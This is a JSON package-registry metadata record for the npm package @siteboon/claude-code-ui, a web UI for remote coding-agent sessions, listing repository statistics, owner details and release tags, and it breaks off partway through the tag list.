{"id":12126989,"name":"@siteboon/claude-code-ui","ecosystem":"npm","description":"This package has moved to @cloudcli-ai/cloudcli","homepage":"https://cloudcli.ai","licenses":"AGPL-3.0-or-later","normalized_licenses":["AGPL-3.0-or-later"],"repository_url":"https://github.com/siteboon/claudecodeui","keywords_array":["claude code","claude-code","claude-code-ui","cloudcli","codex","gemini","gemini-cli","cursor","cursor-cli","anthropic","openai","google","coding-agent","web-ui","ui","mobile IDE"],"namespace":"siteboon","versions_count":55,"first_release_published_at":"2025-09-22T23:24:21.175Z","latest_release_published_at":"2026-04-03T15:46:46.421Z","latest_release_number":"2.0.0","last_synced_at":"2026-04-05T19:11:53.520Z","created_at":"2025-09-23T00:10:15.387Z","updated_at":"2026-04-05T19:11:54.808Z","registry_url":"https://www.npmjs.com/package/@siteboon/claude-code-ui","install_command":"npm install @siteboon/claude-code-ui","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.0.0"}},"repo_metadata":{"id":302720695,"uuid":"1008373485","full_name":"siteboon/claudecodeui","owner":"siteboon","description":"Use Claude Code, Cursor CLI or Codex on mobile and web with CloudCLI (aka Claude Code UI). CloudCLI is a free open source webui/GUI that helps you manage your Claude Code session and projects remotely","archived":false,"fork":false,"pushed_at":"2026-03-31T20:53:31.000Z","size":8228,"stargazers_count":9349,"open_issues_count":177,"forks_count":1224,"subscribers_count":30,"default_branch":"main","last_synced_at":"2026-04-03T03:58:05.086Z","etag":null,"topics":["anthropic","anthropic-ai","anthropic-claude","claude","claude-api","claude-code","claude-code-ui","claudecode","gui","mobile-first","react","ui"],"latest_commit_sha":null,"homepage":"https://cloudcli.ai","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/siteboon.png","metadata":{"files":{"readme":"README.de.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE","maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-06-25T12:51:12.000Z","updated_at":"2026-04-03T03:50:06.000Z","dependencies_parsed_at":"2025-07-21T17:18:17.905Z","dependency_job_id":"457de2b3-afc9-4880-90ae-d423f81e7b3a","html_url":"https://github.com/siteboon/claudecodeui","commit_stats":null,"previous_names":["siteboon/claudecodeui"],"tags_count":63,"template":false,"template_full_name":null,"purl":"pkg:github/siteboon/claudecodeui","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/siteboon","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31446905,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-05T15:22:31.103Z","status":"ssl_error","status_checked_at":"2026-04-05T15:22:00.205Z","response_time":75,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"siteboon","name":"Siteboon","uuid":"194797703","kind":"organization","description":"","email":null,"website":"https://siteboon.ai","location":"Netherlands","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/194797703?v=4","repositories_count":1,"last_synced_at":"2025-01-14T11:51:06.190Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/siteboon","funding_links":[],"total_stars":0,"followers":0,"following":0,"created_at":"2025-01-14T11:51:06.213Z","updated_at":"2025-01-14T11:51:06.213Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/siteboon","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/siteboon/repositories"},"tags":[{"name":"v1.27.1","sha":"051a6b1e74893e6bbb77f7e7b7516a910a0bd546","kind":"tag","published_at":"2026-03-29T01:15:39.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.27.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.27.1/manifests"},{"name":"v1.26.3","sha":"ebd1c0db92b43975167c51ba97aa06952fa51904","kind":"tag","published_at":"2026-03-22T01:10:49.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.26.3","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.26.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.26.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.26.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.26.3/manifests"},{"name":"v1.26.2","sha":"6d87cc5566abf2ea6e817de1e86a7647f389b616","kind":"tag","published_at":"2026-03-21T17:00:08.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.26.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.26.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.26.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.26.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.26.2/manifests"},{"name":"v1.26.0","sha":"08a6653b3813c4626fd89bcb2104fbe65013f740","kind":"tag","published_at":"2026-03-20T15:42:45.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.26.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.26.0/manifests"},{"name":"v1.25.2","sha":"4b1e17ea3874bc7ad10f8284da67652a580ebfcd","kind":"tag","published_at":"2026-03-11T22:37:32.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.25.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.25.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.25.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.25.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.25.2/manifests"},{"name":"v1.25.0","sha":"8af72570b3cda78a2e39ac2494df6010dbc00605","kind":"tag","published_at":"2026-03-10T16:27:24.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.25.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.25.0/manifests"},{"name":"v1.24.0","sha":"bc164140e031f8010a4e672ac8bc20b61e84701a","kind":"tag","published_at":"2026-03-09T08:39:16.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.24.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.24.0/manifests"},{"name":"v1.23.2","sha":"d299ab88a0a2ef84f792706e0c1d26d24f45ac3e","kind":"tag","published_at":"2026-03-06T01:51:09.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.23.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.23.2/manifests"},{"name":"v1.22.1","sha":"4da27ae5f19305d445118b7bd19d8c1844be23f2","kind":"commit","published_at":"2026-03-03T15:10:17.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.22.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.22.1/manifests"},{"name":"v1.22.0","sha":"964d8e323151f0cf243e5440d43def1fab1e803b","kind":"tag","published_at":"2026-03-03T14:50:45.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.22.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.22.0/manifests"},{"name":"v1.21.0","sha":"d19b1e949f458642794f4908e45c7b23383f242f","kind":"tag","published_at":"2026-02-27T15:41:21.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.21.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.21.0/manifests"},{"name":"v1.20.1","sha":"4f6ff9260d4701850ecfb8f61b3fa1742c7a8dc9","kind":"tag","published_at":"2026-02-23T22:23:33.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.20.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.20.1/manifests"},{"name":"v1.19.1","sha":"f488a346efbda685e7e975ce339a7d7c61f0a4ee","kind":"tag","published_at":"2026-02-23T21:29:07.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.19.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.19.1/manifests"},{"name":"v1.19.0","sha":"27bf09b0c1318181b36b9fd1602ef4b06d472246","kind":"tag","published_at":"2026-02-23T11:56:34.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.19.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.19.0/manifests"},{"name":"v1.18.2","sha":"9d8e92b5a475dd3578c2ec23cf64272a41bf745b","kind":"tag","published_at":"2026-02-18T07:35:26.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.18.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.18.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.18.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.18.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.18.2/manifests"},{"name":"v1.18.1","sha":"09af23bcafd5b4234be45bc7bbfd019083be03d3","kind":"tag","published_at":"2026-02-17T21:56:28.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.18.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.18.1/manifests"},{"name":"v1.18.0","sha":"e7800c494f40b907f667a8547e4b759bfc7519d3","kind":"tag","published_at":"2026-02-16T14:15:22.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.18.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.18.0/manifests"},{"name":"v1.17.1","sha":"272eb00602afa1257f86b756a4b23a33c5f20636","kind":"tag","published_at":"2026-02-13T19:29:31.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.17.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"f20926394e92f02b54177d2c37a23b64db0118c1","kind":"tag","published_at":"2026-02-13T19:25:08.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.17.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.17.0/manifests"},{"name":"v1.16.4","sha":"1ed3358cbd9f4afcb26a533ca75f3cd077f2af45","kind":"tag","published_at":"2026-02-11T15:26:18.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.16.4","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.16.4/manifests"},{"name":"v1.16.3","sha":"e9719256fc401951fa79398a6596c0472f293755","kind":"tag","published_at":"2026-01-30T17:13:58.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.16.3","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.16.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.16.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.16.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.16.3/manifests"},{"name":"v1.16.2","sha":"f9c7321c8cdd5bb1213bcaf273ef9010dce8e9b2","kind":"tag","published_at":"2026-01-30T16:58:52.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.16.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.16.2/manifests"},{"name":"v1.15.0","sha":"2d06cae0cab4370e31254a1cf040e7938bbdd530","kind":"tag","published_at":"2026-01-28T10:06:51.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.15.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"f16e3e763dffca33fa7b397cb628b98db6c0ceaf","kind":"tag","published_at":"2026-01-26T00:11:14.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.14.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.14.0/manifests"},{"name":"v1.13.6","sha":"104e4260a7b6874f57408069cd4a21cb4c43c884","kind":"tag","published_at":"2025-12-31T08:00:38.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.13.6","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.6/manifests"},{"name":"v1.13.5","sha":"ea19bd9a00dfd1f1d5bdbb8d536d06446e3ed9c2","kind":"tag","published_at":"2025-12-31T07:52:43.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.13.5","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.5/manifests"},{"name":"v1.13.3","sha":"5aef9c683a2d155515dc7b2faf23943eb8ff9b65","kind":"tag","published_at":"2025-12-31T07:20:42.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.13.3","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.3/manifests"},{"name":"v1.13.2","sha":"4e163c8c1002293369a04cb645bedeba2a5088b2","kind":"tag","published_at":"2025-12-30T18:10:23.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.13.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.2/manifests"},{"name":"v1.13.1","sha":"00278a13d8c572f5e50ca3256b89b5fcac3e1f2b","kind":"tag","published_at":"2025-12-30T17:51:33.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.13.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"d98b11230252501d33cf1814fba158e5a2270952","kind":"tag","published_at":"2025-12-29T12:12:31.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.13.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.13.0/manifests"},{"name":"v1.12.0","sha":"71e400c54f70d3ab769a0e6b14dce6b36a90a47f","kind":"tag","published_at":"2025-11-14T11:55:58.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.12.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"b31f7afdf5acfaa1245b6c8ec0525091df2b5b8e","kind":"tag","published_at":"2025-11-02T09:27:26.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.11.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.11.0/manifests"},{"name":"v1.10.5","sha":"72e97c4fbca2f1ac1b14d3854c9f0615a2f3b35c","kind":"tag","published_at":"2025-11-01T10:05:18.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.10.5","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.5/manifests"},{"name":"v1.10.4","sha":"e2ba000e8692b015202d0774dc71318e5452c700","kind":"tag","published_at":"2025-10-31T09:17:45.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.10.4","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.4/manifests"},{"name":"v1.10.3","sha":"6541760eb74bf39eeb387d18346a9eb0e8a085c2","kind":"tag","published_at":"2025-10-31T09:00:07.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.10.3","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.3/manifests"},{"name":"v1.10.2","sha":"d6ceb222c34f9f4652333977cabd3232e1ae9e96","kind":"tag","published_at":"2025-10-31T08:48:04.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.10.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.2/manifests"},{"name":"v1.10.1","sha":"0b8b1d06777e033cc5b944b6a3fd35c1cd820666","kind":"tag","published_at":"2025-10-31T08:40:12.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.10.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"2e1e5b463a9355979f